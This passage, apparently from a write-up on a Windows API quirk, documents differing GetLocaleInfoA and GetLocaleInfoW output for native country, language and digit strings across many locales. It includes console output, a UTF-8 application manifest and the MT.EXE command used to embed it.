ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ UTF16LE » ANSI = 36: ?????? ?????????? ??????? ???? ???? GetLocaleInfoA = 36: ?????? ?????????? ??????? ???? ???? ANSI » UTF16LE = 36: ?????? ?????????? ??????? ???? ???? 0x00007C50 LANGUAGE GetLocaleInfoW = 13: ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ UTF16LE » ANSI = 13: ??????? ???? GetLocaleInfoA = 13: ??????? ???? ANSI » UTF16LE = 13: ??????? ???? 0x00000850 COUNTRY GetLocaleInfoW = 36: ᠪᠦᠭᠦᠳᠡ ᠨᠠᠢᠷᠠᠮᠳᠠᠬᠤ ᠳᠤᠮᠳᠠᠳᠤ ᠠᠷᠠᠳ ᠣᠯᠣᠰ UTF16LE » ANSI = 36: ?????? ?????????? ??????? ???? ???? GetLocaleInfoA = 36: ?????? ?????????? ??????? ???? ???? ANSI » UTF16LE = 36: ?????? ?????????? ??????? ???? ???? 0x00000850 LANGUAGE GetLocaleInfoW = 13: ᠮᠤᠨᠭᠭᠤᠯ ᠬᠡᠯᠡ UTF16LE » ANSI = 13: ??????? ???? GetLocaleInfoA = 13: ??????? ???? ANSI » UTF16LE = 13: ??????? ???? 0x0000044F DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044F COUNTRY GetLocaleInfoW = 7: भारतम् UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044F LANGUAGE GetLocaleInfoW = 8: संस्कृत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x0000044E DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044E COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044E LANGUAGE GetLocaleInfoW = 6: मराठी UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044D DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044D COUNTRY GetLocaleInfoW = 5: ভাৰত UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044D LANGUAGE GetLocaleInfoW = 7: অসমীয়া UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044C DIGITS GetLocaleInfoW = 11: ൦൧൨൩൪൫൬൭൮൯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044C COUNTRY GetLocaleInfoW = 6: ഭാരതം UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044C LANGUAGE GetLocaleInfoW = 7: മലയാളം UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000044B DIGITS GetLocaleInfoW = 11: ೦೧೨೩೪೫೬೭೮೯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044B COUNTRY GetLocaleInfoW = 5: ಭಾರತ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000044B LANGUAGE GetLocaleInfoW = 6: ಕನ್ನಡ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000044A DIGITS GetLocaleInfoW = 11: ౦౧౨౩౪౫౬౭౮౯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x0000044A COUNTRY GetLocaleInfoW = 10: భారత దేశం UTF16LE » ANSI = 8: ??? ??? GetLocaleInfoA = 10: ???? ???? ANSI » UTF16LE = 10: ???? ???? 0x0000044A LANGUAGE GetLocaleInfoW = 7: తెలుగు UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000449 DIGITS GetLocaleInfoW = 11: ௦௧௨௩௪௫௬௭௮௯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000449 COUNTRY GetLocaleInfoW = 8: இந்தியா UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000449 LANGUAGE GetLocaleInfoW = 6: தமிழ் UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000448 DIGITS GetLocaleInfoW = 11: ୦୧୨୩୪୫୬୭୮୯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000448 COUNTRY GetLocaleInfoW = 5: ଭାରତ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000448 LANGUAGE GetLocaleInfoW = 5: ଓଡ଼ିଆ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000447 DIGITS GetLocaleInfoW = 11: ૦૧૨૩૪૫૬૭૮૯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000447 COUNTRY GetLocaleInfoW = 5: ભારત UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000447 LANGUAGE GetLocaleInfoW = 8: ગુજરાતી UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000446 DIGITS GetLocaleInfoW = 11: ੦੧੨੩੪੫੬੭੮੯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000446 COUNTRY GetLocaleInfoW = 5: ਭਾਰਤ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000446 LANGUAGE GetLocaleInfoW = 7: ਪੰਜਾਬੀ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000845 DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000845 COUNTRY GetLocaleInfoW = 9: বাংলাদেশ UTF16LE » ANSI = 9: ???????? GetLocaleInfoA = 9: ???????? ANSI » UTF16LE = 9: ???????? 0x00000845 LANGUAGE GetLocaleInfoW = 6: বাংলা UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000445 DIGITS GetLocaleInfoW = 11: ০১২৩৪৫৬৭৮৯ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000445 COUNTRY GetLocaleInfoW = 5: ভারত UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000445 LANGUAGE GetLocaleInfoW = 6: বাংলা UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000043F COUNTRY GetLocaleInfoW = 10: Қазақстан UTF16LE » ANSI = 10: ????????? GetLocaleInfoA = 10: ????????? ANSI » UTF16LE = 10: ????????? 0x0000043F LANGUAGE GetLocaleInfoW = 6: Қазақ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000743B LANGUAGE GetLocaleInfoW = 11: sääm´ǩiõll UTF16LE » ANSI = 11: sääm´?iõll GetLocaleInfoA = 11: sääm´kiõll ANSI » UTF16LE = 11: sääm´kiõll 0x0000203B LANGUAGE GetLocaleInfoW = 11: sääm´ǩiõll UTF16LE » ANSI = 11: sääm´?iõll GetLocaleInfoA = 11: sääm´kiõll ANSI » UTF16LE = 11: sääm´kiõll 0x0000083B COUNTRY GetLocaleInfoW = 7: Ruoŧŧa UTF16LE » ANSI = 7: Ruo??a GetLocaleInfoA = 7: Ruotta ANSI » UTF16LE = 7: Ruotta 0x00000439 COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000439 LANGUAGE GetLocaleInfoW = 6: हिंदी UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000437 COUNTRY GetLocaleInfoW = 11: საქართველო UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000437 LANGUAGE GetLocaleInfoW = 8: ქართული UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00007C2E LANGUAGE GetLocaleInfoW = 15: dolnoserbšćina UTF16LE » ANSI = 15: dolnoserb?ina GetLocaleInfoA = 15: dolnoserbcina ANSI » UTF16LE = 15: dolnoserbšcina 0x0000082E LANGUAGE GetLocaleInfoW = 15: dolnoserbšćina UTF16LE » ANSI = 15: dolnoserb?ina GetLocaleInfoA = 15: dolnoserbcina ANSI » UTF16LE = 15: dolnoserbšcina 0x0000042E COUNTRY GetLocaleInfoW = 7: Němska UTF16LE » ANSI = 7: N?mska GetLocaleInfoA = 7: Nemska ANSI » UTF16LE = 7: Nemska 0x0000042E LANGUAGE GetLocaleInfoW = 16: hornjoserbšćina UTF16LE » ANSI = 16: hornjoserb?ina GetLocaleInfoA = 16: hornjoserbcina ANSI » UTF16LE = 16: hornjoserbšcina 0x0000782C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » ANSI = 11: Az?rbaycan GetLocaleInfoA = 11: Az?rbaycan ANSI » UTF16LE = 11: Az?rbaycan 0x0000782C LANGUAGE GetLocaleInfoW = 15: Azərbaycanılı UTF16LE » ANSI = 15: Az?rbaycanýlý GetLocaleInfoA = 15: Az?rbaycanýlý ANSI » UTF16LE = 15: Az?rbaycanılı 0x0000742C COUNTRY GetLocaleInfoW = 11: Азәрбајҹан UTF16LE » ANSI = 11: Àç?ðáà¼?àí GetLocaleInfoA = 11: Àç?ðáà¼?àí ANSI » UTF16LE = 11: Аз?рбај?ан 0x0000742C LANGUAGE GetLocaleInfoW = 16: Азәрбајҹан дили UTF16LE » ANSI = 16: Àç?ðáà¼?àí äèëè GetLocaleInfoA = 16: Àç?ðáà¼?àí äèëè ANSI » UTF16LE = 16: Аз?рбај?ан дили 0x0000082C COUNTRY GetLocaleInfoW = 11: Азәрбајҹан UTF16LE » ANSI = 11: Àç?ðáà¼?àí GetLocaleInfoA = 11: Àç?ðáà¼?àí ANSI » UTF16LE = 11: Аз?рбај?ан 0x0000082C LANGUAGE GetLocaleInfoW = 16: Азәрбајҹан дили UTF16LE » ANSI = 16: Àç?ðáà¼?àí äèëè GetLocaleInfoA = 16: Àç?ðáà¼?àí äèëè ANSI » UTF16LE = 16: Аз?рбај?ан дили 0x0000042C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » ANSI = 11: Az?rbaycan GetLocaleInfoA = 11: Az?rbaycan ANSI » UTF16LE = 11: Az?rbaycan 0x0000042C LANGUAGE GetLocaleInfoW = 15: Azərbaycanılı UTF16LE » ANSI = 15: Az?rbaycanýlý GetLocaleInfoA = 15: Az?rbaycanýlý ANSI » UTF16LE = 15: Az?rbaycanılı 0x0000042B COUNTRY GetLocaleInfoW = 9: Հայաստան UTF16LE » ANSI = 9: ???????? GetLocaleInfoA = 9: ???????? ANSI » UTF16LE = 9: ???????? 0x0000042B LANGUAGE GetLocaleInfoW = 8: Հայերեն UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x0000042A COUNTRY GetLocaleInfoW = 9: Việt Nam UTF16LE » ANSI = 9: Vi?t Nam GetLocaleInfoA = 9: Vi?t Nam ANSI » UTF16LE = 9: Vi?t Nam 0x0000042A LANGUAGE GetLocaleInfoW = 12: Tiếng Việt UTF16LE » ANSI = 11: Ti?ng Vi?t GetLocaleInfoA = 12: Tiêìng Vi?t ANSI » UTF16LE = 12: Tiếng Vi?t 0x00000429 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000429 COUNTRY GetLocaleInfoW = 6: ایران UTF16LE » ANSI = 6: Ç?ÑÇä GetLocaleInfoA = 6: ÇíÑÇä ANSI » UTF16LE = 6: ايران 0x00007C28 COUNTRY GetLocaleInfoW = 11: Тоҷикистон UTF16LE » ANSI = 11: Òî?èêèñòîí GetLocaleInfoA = 11: Òî?èêèñòîí ANSI » UTF16LE = 11: То?икистон 0x00007C28 LANGUAGE GetLocaleInfoW = 7: Тоҷикӣ UTF16LE » ANSI = 7: Òî?èê? GetLocaleInfoA = 7: Òî?èê? ANSI » UTF16LE = 7: То?ик? 0x00000428 COUNTRY GetLocaleInfoW = 11: Тоҷикистон UTF16LE » ANSI = 11: Òî?èêèñòîí GetLocaleInfoA = 11: Òî?èêèñòîí ANSI » UTF16LE = 11: То?икистон 0x00000428 LANGUAGE GetLocaleInfoW = 7: Тоҷикӣ UTF16LE » ANSI = 7: Òî?èê? GetLocaleInfoA = 7: Òî?èê? ANSI » UTF16LE = 7: То?ик? 0x00000420 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000420 LANGUAGE GetLocaleInfoW = 6: اُردو UTF16LE » ANSI = 5: ?ÑÏæ GetLocaleInfoA = 6: ÇõÑÏæ ANSI » UTF16LE = 6: اُردو 0x00004001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00003001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00002001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789Note: here the output of substitution characters
?
is expected normal behaviour!
OOPS: just for the 3 LCType
parameter
values
LOCALE_SNATIVECTRYNAME
,
LOCALE_SNATIVECURRENCY
and
LOCALE_SNATIVELANGNAME
,
the output from both forms of the
GetLocaleInfo()
function differs in 128 cases!
Create the text file quirk36.xml
with the following
content next to the console application quirk36.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk36' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk36 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk36.xml
created in step 4. in the console
application quirk36.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk36.xml /OUTPUTRESOURCE:quirk36.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk36.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk36.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105] 0x000009FF DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 0x000009FF COUNTRY GetLocaleInfoW = 22: [Ρšеϋďŏ Мīґґθřėď !!!] UTF16LE » UTF8 = 36: [Ρšеϋďŏ Мīґґθřėď !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] UTF8 » UTF16LE = 22: [?????? ???????? !!!] 0x000009FF LANGUAGE GetLocaleInfoW = 22: [Рѕёůđó Ľαʼnġџåģе !!!] UTF16LE » UTF8 = 36: [Рѕёůđó Ľαʼnġџåģе !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] UTF8 » UTF16LE = 22: [?????? ???????? !!!] MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x000005FE MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x000005FE MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000901 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000501 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000501 0x00007C92 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C92 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C92 0x00000492 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000492 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000492 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000491 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000491 0x0000048C DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000048C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000048C 0x00007C86 LANGUAGE GetLocaleInfoW = 8: Kʼicheʼ UTF16LE » UTF8 = 10: Kʼicheʼ GetLocaleInfoA = 8: K'iche' UTF8 » UTF16LE = 8: K'iche' 0x00000486 LANGUAGE GetLocaleInfoW = 8: Kʼicheʼ UTF16LE » UTF8 = 10: Kʼicheʼ GetLocaleInfoA = 8: K'iche' UTF8 » UTF16LE = 8: K'iche' MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000485 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000485 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000484 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000484 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000482 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000480 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000480 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000047E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000047C 0x00000475 COUNTRY GetLocaleInfoW = 20: ʻAmelika Hui Pū ʻIa UTF16LE » UTF8 = 23: ʻAmelika Hui Pū ʻIa GetLocaleInfoA = 20: ?Amelika Hui Pu ?Ia UTF8 » UTF16LE = 20: ?Amelika Hui Pu ?Ia 0x00000475 LANGUAGE GetLocaleInfoW = 15: ʻŌlelo Hawaiʻi UTF16LE » UTF8 = 18: ʻŌlelo Hawaiʻi GetLocaleInfoA = 15: ?Olelo Hawai?i UTF8 » UTF16LE = 15: ?Olelo Hawai?i MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000474 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000474 0x00000470 COUNTRY GetLocaleInfoW = 9: Naịjịrịa UTF16LE » UTF8 = 15: Naịjịrịa GetLocaleInfoA = 9: Na?j?r?a UTF8 » UTF16LE = 9: Na?j?r?a MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C6B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000046A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000046A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000466 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000462 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C5F 0x00007C5F LANGUAGE GetLocaleInfoW = 18: Tamaziɣt n laṭlaṣ UTF16LE » UTF8 = 23: Tamaziɣt n laṭlaṣ GetLocaleInfoA = 18: Tamazi?t n la?la? UTF8 » UTF16LE = 18: Tamazi?t n la?la? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000085F 0x0000085F LANGUAGE GetLocaleInfoW = 18: Tamaziɣt n laṭlaṣ UTF16LE » UTF8 = 23: Tamaziɣt n laṭlaṣ GetLocaleInfoA = 18: Tamazi?t n la?la? UTF8 » UTF16LE = 18: Tamazi?t n la?la? 0x0000045F DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000045F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000045F 0x00007C59 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C59 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C59 0x00000859 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000859 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000859 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000456 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007850 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007850 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000450 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000450 0x00007C46 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C46 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C46 0x00000846 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000846 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000846 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000444 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000444 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C43 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C43 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000443 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000443 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000442 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000442 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000440 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000440 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000083C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME 